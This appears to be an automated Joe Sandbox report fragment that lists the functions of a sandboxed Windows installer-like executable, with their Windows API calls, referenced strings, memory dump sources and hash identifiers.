                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ObjectReleaseSelect
                                                                                          • String ID: %H
                                                                                          • API String ID: 1831053106-1959103961
                                                                                          • Opcode ID: 613a86eb96bd964688756472f8397141eb38d2c4caf6b0936a0a8cf616000036
                                                                                          • Instruction ID: 242bcfed98594cbdcf51f2854abe94a1ec69c13560e3a72339b9f4254961cc58
                                                                                          • Opcode Fuzzy Hash: 613a86eb96bd964688756472f8397141eb38d2c4caf6b0936a0a8cf616000036
                                                                                          • Instruction Fuzzy Hash: 62216570A04248AFEB15DFA6C841B9F7BB9DB49304F11806AF904A7682D778D940CB59
                                                                                          APIs
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044B14C,?,%H,?,?), ref: 0044B11E
                                                                                          • DrawTextW.USER32(?,?,00000000,?,?), ref: 0044B131
                                                                                          • DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044B165
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DrawText$ByteCharMultiWide
                                                                                          • String ID: %H
                                                                                          • API String ID: 65125430-1959103961
                                                                                          • Opcode ID: b9978a40832644be7eb99ff61e6ae739c3599586bb389d309c0d7579617ef2e1
                                                                                          • Instruction ID: fec6fabf6d030a51aab30bc406273ff78954f96defe81b00f374268ef7e1f253
                                                                                          • Opcode Fuzzy Hash: b9978a40832644be7eb99ff61e6ae739c3599586bb389d309c0d7579617ef2e1
                                                                                          • Instruction Fuzzy Hash: 2A11CBB27046047FEB00DB6A9C91D6F77ECDB49750F10817BF504D72D0D6399E018669
                                                                                          APIs
                                                                                          • SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5
                                                                                            • Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7
                                                                                            • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                            • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                          • GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressAutoCompleteDirectoryErrorLibraryLoadModeProcSystem
                                                                                          • String ID: SHAutoComplete$shlwapi.dll
                                                                                          • API String ID: 395431579-1506664499
                                                                                          • Opcode ID: 42f9dcb05abbf77f41298dba7160eccf52289638d4fdae2cac913a0c4d077c72
                                                                                          • Instruction ID: e807f919b0f5f47641bb36d66eaae5ab4e0d2818c3cb02d7dc2bc8906116ae4e
                                                                                          • Opcode Fuzzy Hash: 42f9dcb05abbf77f41298dba7160eccf52289638d4fdae2cac913a0c4d077c72
                                                                                          • Instruction Fuzzy Hash: 3311A330B00319BBD711EB62FD85B8E7BA8DB55704F90447BF40066291DBB8AE05C65D
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,00455A7B,?,00000001,00000000), ref: 00455A6E
                                                                                          Strings
                                                                                          • PendingFileRenameOperations2, xrefs: 00455A4F
                                                                                          • PendingFileRenameOperations, xrefs: 00455A40
                                                                                          • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455A1C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
                                                                                          • API String ID: 47109696-2115312317
                                                                                          • Opcode ID: 336a8554af3216e9fad4f98949cc8fac3f30a8fbf7097481dd1a9e766711aba3
                                                                                          • Instruction ID: e9356c19d9a7d2c1b22529064790e486fb2be540b5bf165494b3782c633fa2c0
                                                                                          • Opcode Fuzzy Hash: 336a8554af3216e9fad4f98949cc8fac3f30a8fbf7097481dd1a9e766711aba3
                                                                                          • Instruction Fuzzy Hash: A3F0F671304A08BFDB04D661DC62A3B739CE744725FB08167F800CB682EA7CBD04915C
                                                                                          APIs
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,00472325,?,00000000,?,0049C1E0,00000000,00472515,?,00000000,?,00000000,?,004726E1), ref: 00472301
                                                                                          • FindClose.KERNEL32(000000FF,0047232C,00472325,?,00000000,?,0049C1E0,00000000,00472515,?,00000000,?,00000000,?,004726E1,?), ref: 0047231F
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,00472447,?,00000000,?,0049C1E0,00000000,00472515,?,00000000,?,00000000,?,004726E1), ref: 00472423
                                                                                          • FindClose.KERNEL32(000000FF,0047244E,00472447,?,00000000,?,0049C1E0,00000000,00472515,?,00000000,?,00000000,?,004726E1,?), ref: 00472441
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$CloseFileNext
                                                                                          • String ID:
                                                                                          • API String ID: 2066263336-0
                                                                                          • Opcode ID: 5852171562c0697583dfb39d2e83bd074d15792751f52c1309e6650eed3a72c0
                                                                                          • Instruction ID: ff38abb04fb96460afd2c3532f2e87b2ffc4f25b99c166b2ff4046d92e8ebf4f
                                                                                          • Opcode Fuzzy Hash: 5852171562c0697583dfb39d2e83bd074d15792751f52c1309e6650eed3a72c0
                                                                                          • Instruction Fuzzy Hash: 3EC14C3490424D9FCF11DFA5C981ADEBBB8FF49304F5080AAE808B3251D7789A46CF58
                                                                                          APIs
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0047FEF1,?,00000000,00000000,?,?,00481147,?,?,00000000), ref: 0047FD9E
                                                                                          • FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0047FEF1,?,00000000,00000000,?,?,00481147,?,?), ref: 0047FDAB
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0047FEC4,?,?,?,?,00000000,0047FEF1,?,00000000,00000000,?,?,00481147), ref: 0047FEA0
                                                                                          • FindClose.KERNEL32(000000FF,0047FECB,0047FEC4,?,?,?,?,00000000,0047FEF1,?,00000000,00000000,?,?,00481147,?), ref: 0047FEBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$CloseFileNext
                                                                                          • String ID:
                                                                                          • API String ID: 2066263336-0
                                                                                          • Opcode ID: 56ee50c7cb7fa2545e62f1cc5d9b880787f4aaf8996287a3801f00069153f90f
                                                                                          • Instruction ID: 5570db9595827249690d4c596f970be035a6cb65fb6c4bc3b070d2a6e7e06d26
                                                                                          • Opcode Fuzzy Hash: 56ee50c7cb7fa2545e62f1cc5d9b880787f4aaf8996287a3801f00069153f90f
                                                                                          • Instruction Fuzzy Hash: 34512D71A006499FCB21DF65CC45ADEB7B8EB88319F1084BAA818A7351D7389F89CF54
                                                                                          APIs
                                                                                          • GetMenu.USER32(00000000), ref: 00421361
                                                                                          • SetMenu.USER32(00000000,00000000), ref: 0042137E
                                                                                          • SetMenu.USER32(00000000,00000000), ref: 004213B3
                                                                                          • SetMenu.USER32(00000000,00000000), ref: 004213CF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu
                                                                                          • String ID:
                                                                                          • API String ID: 3711407533-0
                                                                                          • Opcode ID: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
                                                                                          • Instruction ID: 68e231870b0c3442489bede8fdcf2aa1db34e154331db007d9f14f65c1163b63
                                                                                          • Opcode Fuzzy Hash: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
                                                                                          • Instruction Fuzzy Hash: 4641AE3070425447EB20EA3AA9857AB36925B20308F4841BFFC40DF7A3CA7CDD45839D
                                                                                          APIs
                                                                                          • SendMessageA.USER32(?,?,?,?), ref: 00416B84
                                                                                          • SetTextColor.GDI32(?,00000000), ref: 00416B9E
                                                                                          • SetBkColor.GDI32(?,00000000), ref: 00416BB8
                                                                                          • CallWindowProcA.USER32(?,?,?,?,?), ref: 00416BE0
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Color$CallMessageProcSendTextWindow
                                                                                          • String ID:
                                                                                          • API String ID: 601730667-0
                                                                                          • Opcode ID: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
                                                                                          • Instruction ID: 4ea48ea5c9b96bae81565ca4ce64eb356f32bd46963e120bc97d04dec40f2685
                                                                                          • Opcode Fuzzy Hash: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
                                                                                          • Instruction Fuzzy Hash: BC115171705604AFD710EE6ECC84E8777ECEF49310715887EB959CB612C638F8418B69
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0042311E
                                                                                          • EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
                                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 00423144
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CapsDeviceEnumFontsRelease
                                                                                          • String ID:
                                                                                          • API String ID: 2698912916-0
                                                                                          • Opcode ID: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
                                                                                          • Instruction ID: a9d24610abdaa6694e735d00c6d38f20457f2ac5f1468c421a1b182fb2ef8db9
                                                                                          • Opcode Fuzzy Hash: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
                                                                                          • Instruction Fuzzy Hash: 8D01CC716042102AE700BF6A5C82B9B3AA49F01319F40027BF808AA3C6DA7E980547AE
                                                                                          APIs
                                                                                            • Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933
                                                                                          • FlushFileBuffers.KERNEL32(?), ref: 0045C499
                                                                                          Strings
                                                                                          • NumRecs range exceeded, xrefs: 0045C396
                                                                                          • EndOffset range exceeded, xrefs: 0045C3CD
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$BuffersFlush
                                                                                          • String ID: EndOffset range exceeded$NumRecs range exceeded
                                                                                          • API String ID: 3593489403-659731555
                                                                                          • Opcode ID: 7579bb90891bfddca92618b6050c99dc039493a8a69e6275f659694612805aa2
                                                                                          • Instruction ID: 69b4fe9c868b7cadc716880164946defc5db249b4b2908964217ac1dcc813941
                                                                                          • Opcode Fuzzy Hash: 7579bb90891bfddca92618b6050c99dc039493a8a69e6275f659694612805aa2
                                                                                          • Instruction Fuzzy Hash: 4F617334A002588FDB25DF25C891AD9B7B5AF49305F0084DAED88AB353D674AEC8CF54
                                                                                          APIs
                                                                                            • Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,00498BB6), ref: 0040334B
                                                                                            • Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,00498BB6), ref: 00403356
                                                                                            • Part of subcall function 0040631C: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498BC0), ref: 00406322
                                                                                            • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
                                                                                            • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
                                                                                            • Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
                                                                                            • Part of subcall function 0040631C: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498BC0), ref: 00406366
                                                                                            • Part of subcall function 004063C4: 6F541CD0.COMCTL32(00498BC5), ref: 004063C4
                                                                                            • Part of subcall function 00410764: GetCurrentThreadId.KERNEL32 ref: 004107B2
                                                                                            • Part of subcall function 00419040: GetVersion.KERNEL32(00498BDE), ref: 00419040
                                                                                            • Part of subcall function 0044F744: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498BF2), ref: 0044F77F
                                                                                            • Part of subcall function 0044F744: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785
                                                                                            • Part of subcall function 0044FC10: GetVersionExA.KERNEL32(0049B790,00498BF7), ref: 0044FC1F
                                                                                            • Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498C06), ref: 00453210
                                                                                            • Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
                                                                                            • Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498C06), ref: 0045322A
                                                                                            • Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230
                                                                                            • Part of subcall function 004570B4: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 004570D8
                                                                                            • Part of subcall function 004645F4: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498C1A), ref: 00464603
                                                                                            • Part of subcall function 004645F4: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464609
                                                                                            • Part of subcall function 0046CDF0: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CE05
                                                                                            • Part of subcall function 00478C20: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498C24), ref: 00478C26
                                                                                            • Part of subcall function 00478C20: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478C33
                                                                                            • Part of subcall function 00478C20: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478C43
                                                                                            • Part of subcall function 00483F88: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00484077
                                                                                            • Part of subcall function 00495BB4: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 00495BCD
                                                                                          • SetErrorMode.KERNEL32(00000001,00000000,00498C6C), ref: 00498C3E
                                                                                            • Part of subcall function 00498968: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498C48,00000001,00000000,00498C6C), ref: 00498972
                                                                                            • Part of subcall function 00498968: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00498978
                                                                                            • Part of subcall function 004244D4: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244F3
                                                                                            • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                          • ShowWindow.USER32(?,00000005,00000000,00498C6C), ref: 00498C9F
                                                                                            • Part of subcall function 004825C8: SetActiveWindow.USER32(?), ref: 00482676
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF541FormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
                                                                                          • String ID: Setup
                                                                                          • API String ID: 291738113-3839654196
                                                                                          • Opcode ID: 1594606edc507442c6549f9e4ebdc225aad6ad90dc9fc57b5479ce1c0ac5814d
                                                                                          • Instruction ID: b535e719d7157e93998cc10f536158ae488692691c8c4e2dacdcbf5c7207fd3e
                                                                                          • Opcode Fuzzy Hash: 1594606edc507442c6549f9e4ebdc225aad6ad90dc9fc57b5479ce1c0ac5814d
                                                                                          • Instruction Fuzzy Hash: 873104312446409FD601BBBBFD5392D3B94EF8A728B91447FF80496693DE3C68508A7E
                                                                                          APIs
                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DC3C
                                                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DCAC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: QueryValue
                                                                                          • String ID: $=H
                                                                                          • API String ID: 3660427363-3538597426
                                                                                          • Opcode ID: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
                                                                                          • Instruction ID: 5bd1c55a509b6dee259ffcee94d68868fe84ce326e73fb4cf6662c4527ef549e
                                                                                          • Opcode Fuzzy Hash: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
                                                                                          • Instruction Fuzzy Hash: 9D414171E00529ABDB11DF95D881BAFB7B8EB04704F918466E810F7241D778AE00CBA5
                                                                                          APIs
                                                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A6A
                                                                                          • GetLastError.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A73
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectoryErrorLast
                                                                                          • String ID: .tmp
                                                                                          • API String ID: 1375471231-2986845003
                                                                                          • Opcode ID: 4f6049b6d10a737b279f92eac6e2edda550f3c0c3ab583747f9ca22f4cbd9d09
                                                                                          • Instruction ID: 2c169793aa1d4e8b0ae54453200dd0eeecd34c8d921a2c5b894f13e1de3ec917
                                                                                          • Opcode Fuzzy Hash: 4f6049b6d10a737b279f92eac6e2edda550f3c0c3ab583747f9ca22f4cbd9d09
                                                                                          • Instruction Fuzzy Hash: BD213575A002089BDB01EFA5C8429DEB7B8EF49305F50457BE801B7343DA3CAF058B69
                                                                                          APIs
                                                                                            • Part of subcall function 00483A7C: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483A8D
                                                                                            • Part of subcall function 00483A7C: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00483A9A
                                                                                            • Part of subcall function 00483A7C: GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483AA8
                                                                                            • Part of subcall function 00483A7C: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483AB0
                                                                                            • Part of subcall function 00483A7C: GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00483ABC
                                                                                            • Part of subcall function 00483A7C: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00483ADD
                                                                                            • Part of subcall function 00483A7C: GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00483AF0
                                                                                            • Part of subcall function 00483A7C: GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 00483AF6
                                                                                            • Part of subcall function 00483DA8: GetVersionExA.KERNEL32(?,00483FBA,00000000,0048408F,?,?,?,?,?,00498C29), ref: 00483DB6
                                                                                            • Part of subcall function 00483DA8: GetVersionExA.KERNEL32(0000009C,?,00483FBA,00000000,0048408F,?,?,?,?,?,00498C29), ref: 00483E08
                                                                                            • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                            • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                          • GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00484077
                                                                                          Strings
                                                                                          Memory Dump Source
